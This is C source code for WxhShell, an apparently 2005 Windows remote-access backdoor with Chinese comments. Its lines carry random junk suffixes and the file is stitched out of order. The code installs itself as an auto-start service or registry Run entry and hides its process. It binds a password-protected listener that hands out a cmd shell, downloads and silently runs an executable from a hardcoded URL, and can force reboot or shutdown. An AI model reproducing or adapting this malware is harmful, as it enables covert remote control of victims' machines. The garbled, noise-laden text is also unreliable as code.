    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JjTzq2'%  
    if(Boot(SHUTDOWN)) DRg ~HT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tdmo'"m8z_  
    else { (+Nmio  
    closesocket(wsh); 8IIdNd  
    ExitThread(0); 4Uy>#IL  
    } 5SWX v+  
    break; CO)b'V,  
    } ADl>~3b  
  // 获取shell F~@1n ,[  
  case 's': { ~9/nx|%D  
    CmdShell(wsh); M(]|}%  
    closesocket(wsh); 'JKvy(n>  
    ExitThread(0); u1|Y;*  
    break; 2T2#HP  
  } WZ V*J&  
  // 退出 .=w`T #L  
  case 'x': { Ckl]fy@D}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JU2' ~chh  
    CloseIt(wsh); )yH#*~X_   
    break; JA(q>>4  
    } +?m=f}>W1  
  // 离开 5J2p^$s  
  case 'q': { \iLd6Qo_aq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `kT$Gx4x  
    closesocket(wsh); 90(oV&  
    WSACleanup(); _<~Vxz9  
    exit(1); w.F3o4YP  
    break; xfV2/A#h  
        } Yw1q2jT  
  } Bma|!p{  
  } 4hr+GO@o(  
g8 *|" {  
  // 提示信息 `3s-%>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *x` l1o  
} C5z  
  } I$qtfGr  
McI4oD~"  
  return; {]m e?I  
} -a^sX%|Bl  
ez9M]! 8Lt  
// shell模块句柄 fq!6#Usf;i  
int CmdShell(SOCKET sock) vlKKPS  
{ Z5^ UF2`Q  
STARTUPINFO si; |2]WA'q  
ZeroMemory(&si,sizeof(si)); x=r6vOj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uRcuy/CY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7Qztc?XK  
PROCESS_INFORMATION ProcessInfo; LZbHK.G=  
char cmdline[]="cmd"; "'dC>7*<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >t<R6f_Q0  
  return 0; ]CJ>iS!V  
} aj-uk(r  
v+2q R0,LM  
// 自身启动模式 Oes+na'^  
int StartFromService(void) "@|V.d@  
{ k <Sa<  
typedef struct :[?o7%"  
{ 'GO..m"G  
  DWORD ExitStatus; ,O`*AzjS5Q  
  DWORD PebBaseAddress; T`DlOi]Z_  
  DWORD AffinityMask; rca"q[,  
  DWORD BasePriority; !Y i<h/:  
  ULONG UniqueProcessId; Iur} ZAz  
  ULONG InheritedFromUniqueProcessId; v%e"4:K}?  
}   PROCESS_BASIC_INFORMATION; TKydOw@P"  
(Q} ijwj  
PROCNTQSIP NtQueryInformationProcess; BPs &  
n>+W]I&E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b#'a4j-u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /9# jv]C:  
I:7,CV  
  HANDLE             hProcess; ^/YAokj  
  PROCESS_BASIC_INFORMATION pbi; 6Z}))*3 9  
_NN{Wk/3w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P@![P Ij  
  if(NULL == hInst ) return 0; ]h8V{%H  
W/QOG&g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QI{Y@xQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ! \Kh\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TBp5xz`  
#gT^hl5/  
  if (!NtQueryInformationProcess) return 0; %),O9*[9  
pjn%CR`;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Mo=-P2)>lt  
  if(!hProcess) return 0; srA~gzF  
!{0!G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z,P7b]KVe  
O|m-k0n  
  CloseHandle(hProcess); dgD%I  
/T(~T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k&;L(D  
if(hProcess==NULL) return 0; daNIP1Qn  
/;ITnG  
HMODULE hMod; "Y0[rSz,UW  
char procName[255]; '.<"jZ  
unsigned long cbNeeded; m$: a|'mS  
~q>ilnL"h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o~>go_Y  
\F3t&:  
  CloseHandle(hProcess); k3kqgR*  
aE$p;I  
if(strstr(procName,"services")) return 1; // 以服务启动 a5&j=3)|  
g >oLc6T  
  return 0; // 注册表启动 =h!m/f^x  
} oOz6Er[KO  
=Z$6+^L  
// 主模块 FvP1;E  
int StartWxhshell(LPSTR lpCmdLine) @vh>GiR){  
{ (8R M|&  
  SOCKET wsl; l<6/ADuS  
BOOL val=TRUE; Y{@[)M{<  
  int port=0; %syBm  
  struct sockaddr_in door; K; lC#  
p}z0(lQ*~  
  if(wscfg.ws_autoins) Install(); u'> CU  
1 j8,Zrg1  
port=atoi(lpCmdLine); ,:,|A/U  
9] \vw  
if(port<=0) port=wscfg.ws_port; 5+Ut]AL5  
\ed(<e>  
  WSADATA data; NQD b;5:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n-_w0Y  
~?r6Ax-R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $!@f{9+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7 #N @B  
  door.sin_family = AF_INET; c6|&?}F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jL1UPN  
  door.sin_port = htons(port); eu;^h3u;b  
Q4*cL5j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t|lv6-Hy9  
closesocket(wsl); 5. i;IOx  
return 1; bcNYoZ8`  
} P&;I]2#  
^Pwq`G A  
  if(listen(wsl,2) == INVALID_SOCKET) { VGIc|Q=F  
closesocket(wsl); >MH@FnUL  
return 1; "{lnSLk  
} jL$X3QS:  
  Wxhshell(wsl); &jcr7{cD  
  WSACleanup(); x.RZ!V-  
yAe}O#dy  
return 0; 'l;|t"R12  
@pz2}Hd |  
} &I=q%  
)M~5F,)  
// 以NT服务方式启动 ?`$4ZDM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |Gi/=[Tp  
{ 7;{F"/A  
DWORD   status = 0; gy.; "W  
  DWORD   specificError = 0xfffffff; 7Jk.U=vY  
{`> x"Y5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _6( =0::x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -6\9B>qa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k,,}N 9  
  serviceStatus.dwWin32ExitCode     = 0; 3*<W`yed  
  serviceStatus.dwServiceSpecificExitCode = 0; %LyB~X  
  serviceStatus.dwCheckPoint       = 0; "mA/:8`Q  
  serviceStatus.dwWaitHint       = 0; mx2 Jt1  
B7;MY6h#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); " B1' K8  
  if (hServiceStatusHandle==0) return; T5)?6i -N  
dWA7U6c<  
status = GetLastError(); AXFVsZH"zi  
  if (status!=NO_ERROR) 0OXd*  
{ wSDDejg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E J1:N*BA  
    serviceStatus.dwCheckPoint       = 0; *KAuyJr  
    serviceStatus.dwWaitHint       = 0; rxA<\h,A  
    serviceStatus.dwWin32ExitCode     = status; P^UcpU,  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7w|s8B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #<{MtK_  
    return; M=%p$\x  
  } 6._):[_2  
.jU9{;[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hS  Sq=(S  
  serviceStatus.dwCheckPoint       = 0; w]}v m-  
  serviceStatus.dwWaitHint       = 0; .1;?#t]ZV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )I@iW\`7  
} `XQ5>c  
?zEgN!\R)  
// 处理NT服务事件,比如:启动、停止 =0S7tNut  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IftPN6(Z  
{ &oBJY'1  
switch(fdwControl) r\zK>GVm_  
{ P+xZaf H  
case SERVICE_CONTROL_STOP: & CgLF]  
  serviceStatus.dwWin32ExitCode = 0; /e}k7U,^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  2B#WWb  
  serviceStatus.dwCheckPoint   = 0; w}iflAnjq  
  serviceStatus.dwWaitHint     = 0; !?96P|G  
  { @47TDCr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HhO$`YZ%>  
  } 8wOr`ho B  
  return; ]?2AFkF  
case SERVICE_CONTROL_PAUSE: XB?!V|bno  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -Ac^#/[0  
  break; U w)1yzX  
case SERVICE_CONTROL_CONTINUE: ^VQiq7 xm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U1Oq"Ij~  
  break; |kn}iA@72p  
case SERVICE_CONTROL_INTERROGATE: @0G} Q  
  break; O3Uu{'=0  
}; 8^T' a^Wt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?~$y3<[  
} 2-]m#}zbP  
{)+/w"^.  
// 标准应用程序主函数 >z2 {D7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -v:Y\=[\  
{ ${?Px c{-  
qQb8K+t  
// 获取操作系统版本 ,F1$Of/'@\  
OsIsNt=GetOsVer(); ,xiRP$hGhh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wFe</U-';  
C9fJLCufC  
  // 从命令行安装 3jQ |C=   
  if(strpbrk(lpCmdLine,"iI")) Install(); I^o^@C  
975KRnj  
  // 下载执行文件 rpvm].4  
if(wscfg.ws_downexe) { L:31toGK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _T1e##Sq,  
  WinExec(wscfg.ws_filenam,SW_HIDE); y Le5,  
}  :sf;Fq  
ixp%aRRP  
if(!OsIsNt) { #(7OvW+y  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]b[ 3 th*  
HideProc(); }.Ug`7%G  
StartWxhshell(lpCmdLine); %V$^CWOy  
} hX^XtIC=  
else W uQdz&s>  
  if(StartFromService()) *Q)+Y&qn  
  // 以服务方式启动 \(u P{,ML  
  StartServiceCtrlDispatcher(DispatchTable); + 7Z%N9  
else NIgt"o[I  
  // 普通方式启动 giPyo"SD  
  StartWxhshell(lpCmdLine); V; ChrmE  
:%0Z  
return 0; U_:/>8})d  
} R\X J  
%c&h:7);  
3KqylC &.  
zpY8w#b  
=========================================== qRr;&M &t_  
M|\ XFO  
qU}[( 9~Ru  
g ,.iM8  
wBr0s *1I  
Z$q}y 79^  
" Ay{4R  
]WS 7l@  
#include <stdio.h> {P*RA'H3G  
#include <string.h> u+-}|  
#include <windows.h> a+Z/=YUR  
#include <winsock2.h> "Aynt_a.  
#include <winsvc.h> m$U2|5un&  
#include <urlmon.h> y+c+/L8  
F: \CDM=lS  
#pragma comment (lib, "Ws2_32.lib") >BiJ/[9  
#pragma comment (lib, "urlmon.lib") 5nk]{ G> V  
H#f FU  
#define MAX_USER   100 // 最大客户端连接数 ,i'>+Ix<  
#define BUF_SOCK   200 // sock buffer ?O28Q DUI  
#define KEY_BUFF   255 // 输入 buffer kw!! 5U;7  
V%"aU}   
#define REBOOT     0   // 重启 }^=J]  
#define SHUTDOWN   1   // 关机 (*#S%4(YX  
# TvY*D,  
#define DEF_PORT   5000 // 监听端口 0Rj_l:d=  
d !>PqPo  
#define REG_LEN     16   // 注册表键长度 lLnD%*03  
#define SVC_LEN     80   // NT服务名长度 i`X/d=  
1Ztoj}!I  
// 从dll定义API d5h:py5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >2%!=q3)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R@;kY S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %/4ChKf!VR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0PZpE "$X  
At"@`1n_u'  
// wxhshell配置信息 b8Y-!] F  
struct WSCFG { l@':mX3xd  
  int ws_port;         // 监听端口 59GS:  
  char ws_passstr[REG_LEN]; // 口令 Z[ys>\_To  
  int ws_autoins;       // 安装标记, 1=yes 0=no =ove#3  
  char ws_regname[REG_LEN]; // 注册表键名 /op8]y  
  char ws_svcname[REG_LEN]; // 服务名 E<0Y;tR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 orJN#0v4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o4U9jU4<"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3d[fP#NY7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gd2cwnP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K1jE_]@Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L,BuzU[1S  
&S/KR$^ %  
}; wD4Kil=v  
kid@*.I  
// default Wxhshell configuration yj-BLR5  
struct WSCFG wscfg={DEF_PORT, J#MUtpPdQ  
    "xuhuanlingzhe", l7\Bq+Q  
    1, I_\j05  
    "Wxhshell", ih~ R?W  
    "Wxhshell", !?,rcgi  
            "WxhShell Service", 2Lm.;l4YO  
    "Wrsky Windows CmdShell Service", ca5Ir<mL  
    "Please Input Your Password: ", L2+~I<|>  
  1, \Gg6&:Ua  
  "http://www.wrsky.com/wxhshell.exe", &iez{[O  
  "Wxhshell.exe" %qNT<>c  
    }; Db@$'  
ji5c0WH  
// 消息定义模块 `StlG=TB8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b{_J%p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mqQN*.8*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YB*I'm3q  
char *msg_ws_ext="\n\rExit."; ibha`  
char *msg_ws_end="\n\rQuit."; T:dV[3  
char *msg_ws_boot="\n\rReboot..."; "|`euxYV  
char *msg_ws_poff="\n\rShutdown..."; )17CG*K1  
char *msg_ws_down="\n\rSave to "; )k$ +T%  
V_^p?Fi #  
char *msg_ws_err="\n\rErr!"; M] 7#  
char *msg_ws_ok="\n\rOK!"; /GRkQ",  
WTbq)D(&[_  
char ExeFile[MAX_PATH]; E&9BeU a#  
int nUser = 0; g{RVxGE7  
HANDLE handles[MAX_USER]; VBo=*gn,$  
int OsIsNt; C8ek{o)%W  
Dg W*Br8<  
SERVICE_STATUS       serviceStatus; Y'H|Tk^`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r1ao=N  
2M@,g8O+B=  
// 函数声明 ~qT5F)$B-  
int Install(void);  b"iPuN!p  
int Uninstall(void); ;<hLy(@  
int DownloadFile(char *sURL, SOCKET wsh); <*oTVl4fS  
int Boot(int flag); lk;4l Z  
void HideProc(void); m7!M stu  
int GetOsVer(void); HHzAmHt  
int Wxhshell(SOCKET wsl); 6fY-D qF!  
void TalkWithClient(void *cs); @Jr:+|v3B  
int CmdShell(SOCKET sock); y\k#83aU|  
int StartFromService(void); opqY@>Vh&  
int StartWxhshell(LPSTR lpCmdLine); Y`3V&8X  
8#L V oR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vY)5<z&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *3 8 u ~n  
*MC+i$  
// 数据结构和表定义 qjDt6B^RO  
SERVICE_TABLE_ENTRY DispatchTable[] = KDxqz$14 -  
{ ?h\fwF3  
{wscfg.ws_svcname, NTServiceMain}, t\S=u y  
{NULL, NULL} xl>8B/Zmf#  
}; kn %i#Fz  
6 );8z!+  
// 自我安装 x,L<{A`z  
int Install(void) v(=?@ tF}E  
{ zi%Ql|zI~  
  char svExeFile[MAX_PATH]; 9lqH  
  HKEY key; jzvrJ14  
  strcpy(svExeFile,ExeFile); <<w*_GM  
7bSj[kuN  
// 如果是win9x系统,修改注册表设为自启动 sBm)D=Kll  
if(!OsIsNt) { LT[g +zGB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c]}F$[>oN'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G{CKb{  
  RegCloseKey(key); M47t(9krV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zo`_vx/{j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]sLdz^E3D  
  RegCloseKey(key); lV".-:u_  
  return 0; q]Vxf!0*>  
    } _TntZv.?  
  } #;D@`.#\  
} '2XIeR  
else { sD#*W<  
m)Ta5w^  
// 如果是NT以上系统,安装为系统服务 3LRBH+Tt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^m Ua5w  
if (schSCManager!=0) 6U9F vPJ  
{ 1Be/(pSc  
  SC_HANDLE schService = CreateService m941 Y  
  ( vB<9M-sa0  
  schSCManager, ;x.5_Xw{.  
  wscfg.ws_svcname, 3FY87R   
  wscfg.ws_svcdisp, j[CXIz?c  
  SERVICE_ALL_ACCESS, <c3Te$.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oZ5 ,y+L4  
  SERVICE_AUTO_START, L9{y1'')  
  SERVICE_ERROR_NORMAL, o4U0kiI@  
  svExeFile, 8B! MgNKV  
  NULL, B@k2lHks(  
  NULL, 56o(gCj?y  
  NULL, Q2qT[aD,  
  NULL, "*< )pnJ  
  NULL G,!{Q''w  
  ); G ,e!!J  
  if (schService!=0) (1e,9!?  
  { O!se-h5mW8  
  CloseServiceHandle(schService); MFeY}_d<  
  CloseServiceHandle(schSCManager); fU<_bg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8'qq!WR~  
  strcat(svExeFile,wscfg.ws_svcname); /Bq4! n+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w"{mDL}c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XFSHl[uS1  
  RegCloseKey(key); +I3j 2u8L  
  return 0; i0n u5kD+d  
    } ?t)Mt]("  
  } a(IUAh*mO  
  CloseServiceHandle(schSCManager); XM f>B|  
} LEuDDJ -  
} x3:d/>b  
ZiW&*nN?M  
return 1; i^@hn>s$  
} |@5G\N-  
`*WzHDv5p  
// 自我卸载 IY hwFw 5O  
int Uninstall(void) hx!:F"#  
{ @>*r2=#14  
  HKEY key; `y>BbJqy  
GC`/\~TM  
if(!OsIsNt) { v, |jmv+:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [}I|tb>Pg  
  RegDeleteValue(key,wscfg.ws_regname); {4{X`$  
  RegCloseKey(key); vM?,#:5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <ivq}(%72  
  RegDeleteValue(key,wscfg.ws_regname); v]\T&w%9  
  RegCloseKey(key); l6- n{zG  
  return 0; 6zIK%<  
  } W[f%m0  
} )>tT ""yEl  
} %/2OP &1<  
else { l?A~^4(5a/  
[]doLt;J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s.^+y7$  
if (schSCManager!=0) Th X6e  
{ .oM;D~(=9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5,|of{8  
  if (schService!=0) tIk$4)ZAl  
  { JFdMYb  
  if(DeleteService(schService)!=0) { ?$MO!  
  CloseServiceHandle(schService); Rrrq>{D  
  CloseServiceHandle(schSCManager); 4-BrE&2f  
  return 0; rgo!t028^  
  } j-d542"  
  CloseServiceHandle(schService); O03F@v  
  } >9y!M'V  
  CloseServiceHandle(schSCManager); %?3$~d\n  
} jx'hxC'3  
} 1{Ik.O)  
@=OX7zq\h-  
return 1; _7b4+ L  
} h.\p+Qw.  
a4XK.[O  
// 从指定url下载文件 MoXai0d%  
int DownloadFile(char *sURL, SOCKET wsh) jX .' G   
{ @"B{k%+  
  HRESULT hr; ~x[(1  
char seps[]= "/"; GL _hRu  
char *token; J| 1!4R~  
char *file; `YY07(%  
char myURL[MAX_PATH]; FE1'MUT_  
char myFILE[MAX_PATH]; Y.q$"lm7k  
cqaq~  
strcpy(myURL,sURL); OepQ Z|2  
  token=strtok(myURL,seps); Gzp*Vr  
  while(token!=NULL) v%kl*K`*  
  { }zIWagC6  
    file=token; )Y`ybADd3  
  token=strtok(NULL,seps); Bjh8uW G  
  } `a[ V_4wO  
j )wrF@W  
GetCurrentDirectory(MAX_PATH,myFILE); 7[0<,O6Q  
strcat(myFILE, "\\"); ?w&?P}e +  
strcat(myFILE, file); dkW7k^g  
  send(wsh,myFILE,strlen(myFILE),0); pgW^hj\  
send(wsh,"...",3,0); %jJIR88  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q9c*I,O j  
  if(hr==S_OK) 0KZ$v/m  
return 0; dGUiMix{N  
else WHqw=! G  
return 1; ps^["3e  
*uSlp_;kB  
} ZENblh8fs  
+Ht(_+To1  
// 系统电源模块 _;R#B`9Iu  
int Boot(int flag) TrNh,5+b  
{ a]J>2A@-I  
  HANDLE hToken; l GJN;G7  
  TOKEN_PRIVILEGES tkp; h7 mk<  
'J)9#  
  if(OsIsNt) { ;I6C`N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #%pY,AK:=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vs>Pd |p;  
    tkp.PrivilegeCount = 1; (w`_{%T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0>"y)T3   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 11Uu5e!.  
if(flag==REBOOT) { pU<GI@gU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T)tTzgLD}  
  return 0; t~$8sG\  
} ^)o]hE|  
else { B`w8d[cL7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a|DCpU}  
  return 0; t*fH&8(  
} 3EH@tlTl  
  } qW /&.  
  else { {].]`#4Jx  
if(flag==REBOOT) { bN|1%[7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (=j/"Mb  
  return 0; qiq=v)  
} ;&!Q N#_  
else { 7#N ?{3i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o?+?@Xb'  
  return 0; DH bS=Iih  
} n<F3&2w  
} It VVI"-  
p<&>1}j=  
return 1; Y/LS(b*  
} "Bz#5kqnl  
i~3\dp  
// win9x进程隐藏模块 brK7|&R<  
void HideProc(void) b&]z^_m)  
{ GnC s_[*&r  
OB++5Wd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LoOw]@>  
  if ( hKernel != NULL )  z@~mu  
  { 99%R/m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C' WX$!$d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =$T[  
    FreeLibrary(hKernel); TH55@1W,[  
  } ~@e=+Z  
I,aaSBwt&2  
return; uL:NWgN  
} ] VEc9?  
4q?R3 \e;  
// 获取操作系统版本 ?kRx;S+  
int GetOsVer(void) tOZ-]>U  
{ 'Tskx  
  OSVERSIONINFO winfo; LoSrXK~0~J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LMN`<R(q]  
  GetVersionEx(&winfo); YRv}w3yQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QWWI  
  return 1; uc\G)BN  
  else N/1xc1$SB  
  return 0; jthyZZ   
} 7W+{U0 2O  
'}OAl  
// 客户端句柄模块 iG"1~/U  
int Wxhshell(SOCKET wsl) E_P,>f  
{ x7i,jMR  
  SOCKET wsh; :.f( }sCS  
  struct sockaddr_in client; ezhfKt]j  
  DWORD myID; G7KOJZb+D  
%|ioNXMu  
  while(nUser<MAX_USER) UMMGT6s,E8  
{ IR&b2FTcU  
  int nSize=sizeof(client); 6BZi4:PDx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7#*`7 K'P!  
  if(wsh==INVALID_SOCKET) return 1; Fh&USn"  
y'<5P~W!a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QtcYFf g  
if(handles[nUser]==0) DYrci?8Ith  
  closesocket(wsh); |O'gT8  
else yNG|YB;  
  nUser++; 5 o[E8c 8  
  } Zeq^dV5y77  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \Hq=_}]F  
A'D2uV  
  return 0; ?B`c <H"  
} .3wx}!:*|  
Ci[Ja#p7$h  
// 关闭 socket )EcfEym.>  
void CloseIt(SOCKET wsh) dZddo z_  
{  feM(  
closesocket(wsh); e?\hz\^  
nUser--; '#yIcV$  
ExitThread(0); 2+K - I  
} Cd_H<8__  
%fXgV\xY  
// 客户端请求句柄 ,,g: x  
void TalkWithClient(void *cs) m!(dk]  
{ &#9HV  
)Ofwfypc  
  SOCKET wsh=(SOCKET)cs; .$+,Y4q~(  
  char pwd[SVC_LEN]; Ax9A-|  
  char cmd[KEY_BUFF]; !G<gp4Js+N  
char chr[1]; @lqI,Ce5  
int i,j; `'9t^ 6mk  
5!57<n  
  while (nUser < MAX_USER) { T?1e&H%USV  
?xwZ< A  
if(wscfg.ws_passstr) { 0}e&ONDQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r jnf30  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )Q<u0AxAn  
  //ZeroMemory(pwd,KEY_BUFF); l {\k\Q!4  
      i=0; :>jzL8  
  while(i<SVC_LEN) { ;0Ih:YY6  
Shss};QZf(  
  // 设置超时 ?}S~cgL -  
  fd_set FdRead; ZfS"  
  struct timeval TimeOut; Y+EwBg)co  
  FD_ZERO(&FdRead); aCyn9Y$=  
  FD_SET(wsh,&FdRead); D+h`Z]"|  
  TimeOut.tv_sec=8; <AHdz/N  
  TimeOut.tv_usec=0; v5FfxDvw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mAe)Hy %  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1R]h>'  
q1A0-W#4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "rrE_  
  pwd=chr[0]; iE]^ 6i  
  if(chr[0]==0xd || chr[0]==0xa) { @y|JIBBRc  
  pwd=0;  \Awqr:A&  
  break; !$Arc^7r  
  } j,1cb,}=^  
  i++; T+:GYab/  
    } Lp+?5DjLT  
oP:OurX8V  
  // 如果是非法用户,关闭 socket J$(79gH{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yQFZRDV~  
} 461p4)  
?zYR;r2'b)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1V]j8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9 vNz yh\  
o<g1;  
while(1) { Wa iM\h?=#  
(cp$poo  
  ZeroMemory(cmd,KEY_BUFF); <}%gZ:Z6g  
vfh\X1Ui}  
      // 自动支持客户端 telnet标准   '=UsN_@  
  j=0; n,p \~Tu,  
  while(j<KEY_BUFF) { U.ew6`'Te  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C-(O*hK  
  cmd[j]=chr[0]; xz}=C:s  
  if(chr[0]==0xa || chr[0]==0xd) { Wf&i{3z[  
  cmd[j]=0; Fn;Gq-^7@  
  break; W)`H(J  
  } jVSU]LU E  
  j++; h~#.s*0.F  
    } Hc\oR(L  
irn }.e  
  // 下载文件 -)e(Qt#ewl  
  if(strstr(cmd,"http://")) { %,udZyO3uR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }jL4F$wC  
  if(DownloadFile(cmd,wsh)) ItG|{Bo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n&E/{o(  
  else eM^Y  
